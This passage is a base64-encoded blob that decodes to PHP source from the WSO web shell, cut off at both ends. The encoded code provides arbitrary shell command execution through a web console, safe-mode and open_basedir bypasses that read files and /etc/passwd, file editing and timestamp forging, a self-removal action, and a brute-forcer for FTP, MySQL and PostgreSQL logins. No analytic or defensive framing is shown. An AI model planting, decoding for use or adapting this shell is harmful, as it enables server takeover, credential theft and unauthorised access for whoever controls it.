c8c2NyaXB0PnAzXz0iIjs8L3NjcmlwdD48Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMuY2htb2QudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jaG1vZCB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJF9QT1NUWydwMSddKSksLTQpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOyANCiAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgY2FzZSAnZWRpdCc6IA0KICAgICAgICAgICAgaWYoICFpc193cml0YWJsZSgkX1BPU1RbJ3AxJ10pKSB7IA0KICAgICAgICAgICAgICAgIGVjaG8gJ0ZpbGUgaXNuJ3Qgd3JpdGVhYmxlJzsgDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsgDQogICAgICAgICAgICAgICAgJHRpbWUgPSBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSk7IA0KICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXSA9IHN1YnN0cigkX1BPU1RbJ3AzJ10sMSk7IA0KICAgICAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sInciKTsgDQogICAgICAgICAgICAgICAgaWYoJGZwKSB7IA0KICAgICAgICAgICAgICAgICAgICBAZndyaXRlKCRmcCwkX1BPU1RbJ3AzJ10pOyANCiAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkZnApOyANCiAgICAgICAgICAgICAgICAgICAgZWNobyAnU2F2ZWQhPGJyPjxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pic7IA0KICAgICAgICAgICAgICAgICAgICBAdG91Y2goJF9QT1NUWydwMSddLCR0aW1lLCR0aW1lKTsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBlY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLCcxJyt0aGlzLnRleHQudmFsdWUpO3JldHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBuYW1lPXRleHQgY2xhc3M9YmlnYXJlYT4nOyANCiAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7IA0KICAgICAgICAgICAgaWYoJGZwKSB7IA0KICAgICAgICAgICAgICAgIHdoaWxlKCAhQGZlb2YoJGZwKSApIA0KICAgICAgICAgICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOyANCiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmcCk7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGVjaG8gJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7IA0KICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICBjYXNlICdoZXhkdW1wJzogDQogICAgICAgICAgICAkYyA9IEBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3AxJ10pOyANCiAgICAgICAgICAgICRuID0gMDsgDQogICAgICAgICAgICAkaCA9IGFycmF5KCcwMDAwMDAwMDxicj4nLCcnLCcnKTsgDQogICAgICAgICAgICAkbGVuID0gc3RybGVuKCRjKTsgDQogICAgICAgICAgICBmb3IgKCRpPTA7ICRpPCRsZW47ICsrJGkpIHsgDQogICAgICAgICAgICAgICAgJGhbMV0gLj0gc3ByaW50ZignJTAyWCcsb3JkKCRjWyRpXSkpLicgJzsgDQogICAgICAgICAgICAgICAgc3dpdGNoICggb3JkKCRjWyRpXSkgKSB7IA0KICAgICAgICAgICAgICAgICAgICBjYXNlIDA6ICAkaFsyXSAuPSAnICc7IGJyZWFrOyANCiAgICAgICAgICAgICAgICAgICAgY2FzZSA5OiAgJGhbMl0gLj0gJyAnOyBicmVhazsgDQogICAgICAgICAgICAgICAgICAgIGNhc2UgMTA6ICRoWzJdIC49ICcgJzsgYnJlYWs7IA0KICAgICAgICAgICAgICAgICAgICBjYXNlIDEzOiAkaFsyXSAuPSAnICc7IGJyZWFrOyANCiAgICAgICAgICAgICAgICAgICAgZGVmYXVsdDogJGhbMl0gLj0gJGNbJGldOyBicmVhazsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAkbisrOyANCiAgICAgICAgICAgICAgICBpZiAoJG4gPT0gMzIpIHsgDQogICAgICAgICAgICAgICAgICAgICRuID0gMDsgDQogICAgICAgICAgICAgICAgICAgIGlmICgkaSsxIDwgJGxlbikgeyRoWzBdIC49IHNwcmludGYoJyUwOFgnLCRpKzEpLic8YnI+Jzt9IA0KICAgICAgICAgICAgICAgICAgICAkaFsxXSAuPSAnPGJyPic7IA0KICAgICAgICAgICAgICAgICAgICAkaFsyXSAuPSAibiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZWNobyAnPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NSBiZ2NvbG9yPSMyMjIyMjI+PHRyPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OiBub3JtYWw7Ij48cHJlPicuJGhbMF0uJzwvcHJlPjwvc3Bhbj48L3RkPjx0ZCBiZ2NvbG9yPSMyODI4Mjg+PHByZT4nLiRoWzFdLic8L3ByZT48L3RkPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoJGhbMl0pLic8L3ByZT48L3RkPjwvdHI+PC90YWJsZT4nOyANCiAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgY2FzZSAncmVuYW1lJzogDQogICAgICAgICAgICBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7IA0KICAgICAgICAgICAgICAgIGlmKCFAcmVuYW1lKCRfUE9TVFsncDEnXSwgJF9QT1NUWydwMyddKSkgDQogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0Nhbid0IHJlbmFtZSE8YnI+JzsgDQogICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICBkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsIicudXJsZW5jb2RlKCRfUE9TVFsncDMnXSkuJyIsbnVsbCwiIik8L3NjcmlwdD4nKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLm5hbWUudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1uYW1lIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsgDQogICAgICAgICAgICBicmVhazsgDQogICAgICAgIGNhc2UgJ3RvdWNoJzogDQogICAgICAgICAgICBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7IA0KICAgICAgICAgICAgICAgICR0aW1lID0gc3RydG90aW1lKCRfUE9TVFsncDMnXSk7IA0KICAgICAgICAgICAgICAgIGlmKCR0aW1lKSB7IA0KICAgICAgICAgICAgICAgICAgICBpZighdG91Y2goJF9QT1NUWydwMSddLCR0aW1lLCR0aW1lKSkgDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICdGYWlsISc7IA0KICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICdUb3VjaGVkISc7IA0KICAgICAgICAgICAgICAgIH0gZWxzZSBlY2hvICdCYWQgdGltZSBmb3JtYXQhJzsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgY2xlYXJzdGF0Y2FjaGUoKTsgDQogICAgICAgICAgICBlY2hvICc8c2NyaXB0PnAzXz0iIjs8L3NjcmlwdD48Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMudG91Y2gudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT10b3VjaCB2YWx1ZT0iJy5kYXRlKCJZLW0tZCBIOmk6cyIsIEBmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7IA0KICAgICAgICAgICAgYnJlYWs7IA0KICAgIH0gDQogICAgZWNobyAnPC9kaXY+JzsgDQogICAgd3NvRm9vdGVyKCk7IA0KfSANCiAgDQpmdW5jdGlvbiBhY3Rpb25TYWZlTW9kZSgpIHsgDQogICAgJHRlbXA9Jyc7IA0KICAgIG9iX3N0YXJ0KCk7IA0KICAgIHN3aXRjaCgkX1BPU1RbJ3AxJ10pIHsgDQogICAgICAgIGNhc2UgMTogDQogICAgICAgICAgICAkdGVtcD1AdGVtcG5hbSgkdGVzdCwgJ2N4Jyk7IA0KICAgICAgICAgICAgaWYoQGNvcHkoImNvbXByZXNzLnpsaWI6Ly8iLiRfUE9TVFsncDInXSwgJHRlbXApKXsgDQogICAgICAgICAgICAgICAgZWNobyBAZmlsZV9nZXRfY29udGVudHMoJHRlbXApOyANCiAgICAgICAgICAgICAgICB1bmxpbmsoJHRlbXApOyANCiAgICAgICAgICAgIH0gZWxzZQ0KICAgICAgICAgICAgICAgIGVjaG8gJ1NvcnJ5Li4uIENhbid0IG9wZW4gZmlsZSc7IA0KICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICBjYXNlIDI6IA0KICAgICAgICAgICAgJGZpbGVzID0gZ2xvYigkX1BPU1RbJ3AyJ10uJyonKTsgDQogICAgICAgICAgICBpZiggaXNfYXJyYXkoJGZpbGVzKSApIA0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZW5hbWUpIA0KICAgICAgICAgICAgICAgICAgICBlY2hvICRmaWxlbmFtZS4ibiI7IA0KICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICBjYXNlIDM6IA0KICAgICAgICAgICAgJGNoID0gY3VybF9pbml0KCJmaWxlOi8vIi4kX1BPU1RbJ3AyJ10uIngwMCIucHJlZ19yZXBsYWNlKCchKGQrKXMuKiEnLCAnJywgX19GSUxFX18pKTsgDQogICAgICAgICAgICBjdXJsX2V4ZWMoJGNoKTsgDQogICAgICAgICAgICBicmVhazsgDQogICAgICAgIGNhc2UgNDogDQogICAgICAgICAgICBpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7IA0KICAgICAgICAgICAgaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOyANCiAgICAgICAgICAgIGluY2x1ZGUoJF9QT1NUWydwMiddKTsgDQogICAgICAgICAgICBicmVhazsgDQogICAgICAgIGNhc2UgNTogDQogICAgICAgICAgICBmb3IoOyRfUE9TVFsncDInXSA8PSAkX1BPU1RbJ3AzJ107JF9QT1NUWydwMiddKyspIHsgDQogICAgICAgICAgICAgICAgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZCgkX1BPU1RbJ3AyJ10pOyANCiAgICAgICAgICAgICAgICBpZiAoJHVpZCkgDQogICAgICAgICAgICAgICAgICAgIGVjaG8gam9pbignOicsJHVpZCkuIm4iOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBicmVhazsgDQogICAgfSANCiAgICAkdGVtcCA9IG9iX2dldF9jbGVhbigpOyANCiAgICB3c29IZWFkZXIoKTsgDQogICAgZWNobyAnPGgxPlNhZmUgbW9kZSBieXBhc3M8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOyANCiAgICBlY2hvICc8c3Bhbj5Db3B5IChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PSdnKG51bGwsbnVsbCwiMSIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlOyc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+R2xvYiAobGlzdCBkaXIpPC9zcGFuPjxmb3JtIG9uc3VibWl0PSdnKG51bGwsbnVsbCwiMiIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlOyc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+Q3VybCAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD0nZyhudWxsLG51bGwsIjMiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTsnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkluaV9yZXN0b3JlIChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PSdnKG51bGwsbnVsbCwiNCIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlOyc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+UG9zaXhfZ2V0cHd1aWQgKCJSZWFkIiAvZXRjL3Bhc3N3ZCk8L3NwYW4+PHRhYmxlPjxmb3JtIG9uc3VibWl0PSdnKG51bGwsbnVsbCwiNSIsdGhpcy5wYXJhbTEudmFsdWUsdGhpcy5wYXJhbTIudmFsdWUpO3JldHVybiBmYWxzZTsnPjx0cj48dGQ+RnJvbTwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTEgdmFsdWU9MD48L3RkPjwvdHI+PHRyPjx0ZD5UbzwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTIgdmFsdWU9MTAwMD48L3RkPjwvdHI+PC90YWJsZT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsgDQogICAgaWYoJHRlbXApIA0KICAgICAgICBlY2hvICc8cHJlIGNsYXNzPSJtbDEiIHN0eWxlPSJtYXJnaW4tdG9wOjVweCIgaWQ9Ik91dHB1dCI+Jy5odG1sc3BlY2lhbGNoYXJzKCR0ZW1wKS4nPC9wcmU+JzsgDQogICAgZWNobyAnPC9kaXY+JzsgDQogICAgd3NvRm9vdGVyKCk7IA0KfSANCiAgDQpmdW5jdGlvbiBhY3Rpb25Db25zb2xlKCkgeyANCiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSAmJiAhZW1wdHkoJF9QT1NUWydwMiddKSkgeyANCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGRlcnJfdG9fb3V0J10gPSB0cnVlOyANCiAgICAgICAgJF9QT1NUWydwMSddIC49ICcgMj4mMSc7IA0KICAgIH0gZWxzZWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSANCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGRlcnJfdG9fb3V0J10gPSBmYWxzZTsgDQogIA0KICAgIGlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgeyANCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSB0cnVlOyANCiAgICAgICAgb2Jfc3RhcnQoKTsgDQogICAgICAgIGVjaG8gImQuY2YuY21kLnZhbHVlPScnO24iOyANCiAgICAgICAgJHRlbXAgPSBAaWNvbnYoJF9QT1NUWydjaGFyc2V0J10sICdVVEYtOCcsIGFkZGNzbGFzaGVzKCJuJCAiLiRfUE9TVFsncDEnXS4ibiIud3NvRXgoJF9QT1NUWydwMSddKSwibnJ0XCcAIikpOyANCiAgICAgICAgaWYocHJlZ19tYXRjaCgiIS4qY2RzKyhbXjtdKykkISIsJF9QT1NUWydwMSddLCRtYXRjaCkpIHsgDQogICAgICAgICAgICBpZihAY2hkaXIoJG1hdGNoWzFdKSkgeyANCiAgICAgICAgICAgICAgICAkR0xPQkFMU1snY3dkJ10gPSBAZ2V0Y3dkKCk7IA0KICAgICAgICAgICAgICAgIGVjaG8gImNfPSciLiRHTE9CQUxTWydjd2QnXS4iJzsiOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gDQogICAgICAgIGVjaG8gImQuY2Yub3V0cHV0LnZhbHVlKz0nIi4kdGVtcC4iJzsiOyANCiAgICAgICAgZWNobyAiZC5jZi5vdXRwdXQuc2Nyb2xsVG9wID0gZC5jZi5vdXRwdXQuc2Nyb2xsSGVpZ2h0OyI7IA0KICAgICAgICAkdGVtcCA9IG9iX2dldF9jbGVhbigpOyANCiAgICAgICAgZWNobyBzdHJsZW4oJHRlbXApLCAibiIsICR0ZW1wOyANCiAgICAgICAgZXhpdDsgDQogICAgfSANCiAgICB3c29IZWFkZXIoKTsgDQogICAgZWNobyAiPHNjcmlwdD4gDQppZih3aW5kb3cuRXZlbnQpIHdpbmRvdy5jYXB0dXJlRXZlbnRzKEV2ZW50LktFWURPV04pOyANCnZhciBjbWRzID0gbmV3IEFycmF5KCcnKTsgDQp2YXIgY3VyID0gMDsgDQpmdW5jdGlvbiBrcChlKSB7IA0KICAgIHZhciBuID0gKHdpbmRvdy5FdmVudCkgPyBlLndoaWNoIDogZS5rZXlDb2RlOyANCiAgICBpZihuID09IDM4KSB7IA0KICAgICAgICBjdXItLTsgDQogICAgICAgIGlmKGN1cj49MCkgDQogICAgICAgICAgICBkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07IA0KICAgICAgICBlbHNlDQogICAgICAgICAgICBjdXIrKzsgDQogICAgfSBlbHNlIGlmKG4gPT0gNDApIHsgDQogICAgICAgIGN1cisrOyANCiAgICAgICAgaWYoY3VyIDwgY21kcy5sZW5ndGgpIA0KICAgICAgICAgICAgZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOyANCiAgICAgICAgZWxzZQ0KICAgICAgICAgICAgY3VyLS07IA0KICAgIH0gDQp9IA0KZnVuY3Rpb24gYWRkKGNtZCkgeyANCiAgICBjbWRzLnBvcCgpOyANCiAgICBjbWRzLnB1c2goY21kKTsgDQogICAgY21kcy5wdXNoKCcnKTsgDQogICAgY3VyID0gY21kcy5sZW5ndGgtMTsgDQp9IA0KICANCjwvc2NyaXB0PiI7IA0KICAgIGVjaG8gJzxoMT5Db25zb2xlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1jZiBvbnN1Ym1pdD0iaWYoZC5jZi5jbWQudmFsdWU9PSdjbGVhcicpe2QuY2Yub3V0cHV0LnZhbHVlPScnO2QuY2YuY21kLnZhbHVlPScnO3JldHVybiBmYWxzZTt9YWRkKHRoaXMuY21kLnZhbHVlKTtpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5jbWQudmFsdWUsdGhpcy5zaG93X2Vycm9ycy5jaGVja2VkPzE6JycpO31lbHNle2cobnVsbCxudWxsLHRoaXMuY21kLnZhbHVlLHRoaXMuc2hvd19lcnJvcnMuY2hlY2tlZD8xOicnKTt9IHJldHVybiBmYWxzZTsiPjxzZWxlY3QgbmFtZT1hbGlhcz4nOyANCiAgICBmb3JlYWNoKCRHTE9CQUxTWydhbGlhc2VzJ10gYXMgJG4gPT4gJHYpIHsgDQogICAgICAgIGlmKCR2ID09ICcnKSB7IA0KICAgICAgICAgICAgZWNobyAnPG9wdGdyb3VwIGxhYmVsPSItJy5odG1sc3BlY2lhbGNoYXJzKCRuKS4nLSI+PC9vcHRncm91cD4nOyANCiAgICAgICAgICAgIGNvbnRpbnVlOyANCiAgICAgICAgfSANCiAgICAgICAgZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCR2KS4nIj4nLiRuLic8L29wdGlvbj4nOyANCiAgICB9IA0KICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpIA0KICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOyANCiAgICBlY2hvICc8L3NlbGVjdD48aW5wdXQgdHlwZT1idXR0b24gb25jbGljaz0iYWRkKGQuY2YuYWxpYXMudmFsdWUpO2lmKGQuY2YuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCxkLmNmLmFsaWFzLnZhbHVlLGQuY2Yuc2hvd19lcnJvcnMuY2hlY2tlZD8xOicnKTt9ZWxzZXtnKG51bGwsbnVsbCxkLmNmLmFsaWFzLnZhbHVlLGQuY2Yuc2hvd19lcnJvcnMuY2hlY2tlZD8xOicnKTt9IiB2YWx1ZT0iPj4iPiA8bm9icj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAnLihAJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4nPiBzZW5kIHVzaW5nIEFKQVggPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1zaG93X2Vycm9ycyB2YWx1ZT0xICcuKCFlbXB0eSgkX1BPU1RbJ3AyJ10pfHwkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnXT8nY2hlY2tlZCc6JycpLic+IHJlZGlyZWN0IHN0ZGVyciB0byBzdGRvdXQgKDI+JjEpPC9ub2JyPjxici8+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgbmFtZT1vdXRwdXQgc3R5bGU9ImJvcmRlci1ib3R0b206MDttYXJnaW46MDsiIHJlYWRvbmx5Pic7IA0KICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7IA0KICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoIiQgIi4kX1BPU1RbJ3AxJ10uIm4iLndzb0V4KCRfUE9TVFsncDEnXSkpOyANCiAgICB9IA0KICAgIGVjaG8gJzwvdGV4dGFyZWE+PHRhYmxlIHN0eWxlPSJib3JkZXI6MXB4IHNvbGlkICNkZjU7YmFja2dyb3VuZC1jb2xvcjojNTU1O2JvcmRlci10b3A6MHB4OyIgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIHdpZHRoPSIxMDAlIj48dHI+PHRkIHdpZHRoPSIxJSI+JDwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jbWQgc3R5bGU9ImJvcmRlcjowcHg7d2lkdGg6MTAwJTsiIG9ua2V5ZG93bj0ia3AoZXZlbnQpOyI+PC90ZD48L3RyPjwvdGFibGU+JzsgDQogICAgZWNobyAnPC9mb3JtPjwvZGl2PjxzY3JpcHQ+ZC5jZi5jbWQuZm9jdXMoKTs8L3NjcmlwdD4nOyANCiAgICB3c29Gb290ZXIoKTsgDQp9IA0KICANCmZ1bmN0aW9uIGFjdGlvbkxvZ291dCgpIHsgDQogICAgc2Vzc2lvbl9kZXN0cm95KCk7IA0KICAgIGRpZSgnYnllIScpOyANCn0gDQogIA0KZnVuY3Rpb24gYWN0aW9uU2VsZlJlbW92ZSgpIHsgDQogIA0KICAgIGlmKCRfUE9TVFsncDEnXSA9PSAneWVzJykgDQogICAgICAgIGlmKEB1bmxpbmsocHJlZ19yZXBsYWNlKCchKGQrKXMuKiEnLCAnJywgX19GSUxFX18pKSkgDQogICAgICAgICAgICBkaWUoJ1NoZWxsIGhhcyBiZWVuIHJlbW92ZWQnKTsgDQogICAgICAgIGVsc2UNCiAgICAgICAgICAgIGVjaG8gJ3VubGluayBlcnJvciEnOyANCiAgICBpZigkX1BPU1RbJ3AxJ10gIT0gJ3llcycpIA0KICAgICAgICB3c29IZWFkZXIoKTsgDQogICAgZWNobyAnPGgxPlN1aWNpZGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD5SZWFsbHkgd2FudCB0byByZW1vdmUgdGhlIHNoZWxsPzxicj48YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsJ3llcycpIj5ZZXM8L2E+PC9kaXY+JzsgDQogICAgd3NvRm9vdGVyKCk7IA0KfSANCiAgDQpmdW5jdGlvbiBhY3Rpb25CcnV0ZWZvcmNlKCkgeyANCiAgICB3c29IZWFkZXIoKTsgDQogICAgaWYoIGlzc2V0KCRfUE9TVFsncHJvdG8nXSkgKSB7IA0KICAgICAgICBlY2hvICc8aDE+UmVzdWx0czwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzcGFuPlR5cGU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwcm90byddKS4nIDxzcGFuPlNlcnZlcjo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NlcnZlciddKS4nPGJyPic7IA0KICAgICAgICBpZiggJF9QT1NUWydwcm90byddID09ICdmdHAnICkgeyANCiAgICAgICAgICAgIGZ1bmN0aW9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgeyANCiAgICAgICAgICAgICAgICAkZnAgPSBAZnRwX2Nvbm5lY3QoJGlwLCAkcG9ydD8kcG9ydDoyMSk7IA0KICAgICAgICAgICAgICAgIGlmKCEkZnApIHJldHVybiBmYWxzZTsgDQogICAgICAgICAgICAgICAgJHJlcyA9IEBmdHBfbG9naW4oJGZwLCAkbG9naW4sICRwYXNzKTsgDQogICAgICAgICAgICAgICAgQGZ0cF9jbG9zZSgkZnApOyANCiAgICAgICAgICAgICAgICByZXR1cm4gJHJlczsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IGVsc2VpZiggJF9QT1NUWydwcm90byddID09ICdteXNxbCcgKSB7IA0KICAgICAgICAgICAgZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7IA0KICAgICAgICAgICAgICAgICRyZXMgPSBAbXlzcWxfY29ubmVjdCgkaXAuJzonLiRwb3J0PyRwb3J0OjMzMDYsICRsb2dpbiwgJHBhc3MpOyANCiAgICAgICAgICAgICAgICBAbXlzcWxfY2xvc2UoJHJlcyk7IA0KICAgICAgICAgICAgICAgIHJldHVybiAkcmVzOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gZWxzZWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ3Bnc3FsJyApIHsgDQogICAgICAgICAgICBmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsgDQogICAgICAgICAgICAgICAgJHN0ciA9ICJob3N0PSciLiRpcC4iJyBwb3J0PSciLiRwb3J0LiInIHVzZXI9JyIuJGxvZ2luLiInIHBhc3N3b3JkPSciLiRwYXNzLiInIGRibmFtZT1wb3N0Z3JlcyI7IA0KICAgICAgICAgICAgICAgICRyZXMgPSBAcGdfY29ubmVjdCgkc3RyKTsgDQogICAgICAgICAgICAgICAgQHBnX2Nsb3NlKCRyZXMpOyANCiAgICAgICAgICAgICAgICByZXR1cm4gJHJlczsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgICAgICAkc3VjY2VzcyA9IDA7IA0KICAgICAgICAkYXR0ZW1wdHMgPSAwOyANCiAgICAgICAgJHNlcnZlciA9IGV4cGxvZGUoIjoiLCAkX1BPU1RbJ3NlcnZlciddKTsgDQogICAgICAgIGlmKCRfUE9TVFsndHlwZSddID09IDEpIHsgDQogICAgICAgICAgICAkdGVtcCA9IEBmaWxlKCcvZXRjL3Bhc3N3ZCcpOyANCiAgICAgICAgICAgIGlmKCBpc19hcnJheSgkdGVtcCkgKSANCiAgICAgICAgICAgICAgICBmb3JlYWNoKCR0ZW1wIGFzICRsaW5lKSB7IA0KICAgICAgICAgICAgICAgICAgICAkbGluZSA9IGV4cGxvZGUoIjoiLCAkbGluZSk7IA0KICAgICAgICAgICAgICAgICAgICArKyRhdHRlbXB0czsgDQogICAgICAgICAgICAgICAgICAgIGlmKCBicnV0ZUZvcmNlKEAkc2VydmVyWzBdLEAkc2VydmVyWzFdLCAkbGluZVswXSwgJGxpbmVbMF0pICkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICRzdWNjZXNzKys7IA0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMF0pLic8YnI+JzsgDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIGlmKEAkX1BPU1RbJ3JldmVyc2UnXSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICR0bXAgPSAiIjsgDQogICAgICAgICAgICAgICAgICAgICAgICBmb3IoJGk9c3RybGVuKCRsaW5lWzBdKS0xOyAkaT49MDsgLS0kaSkgDQogICAgICAg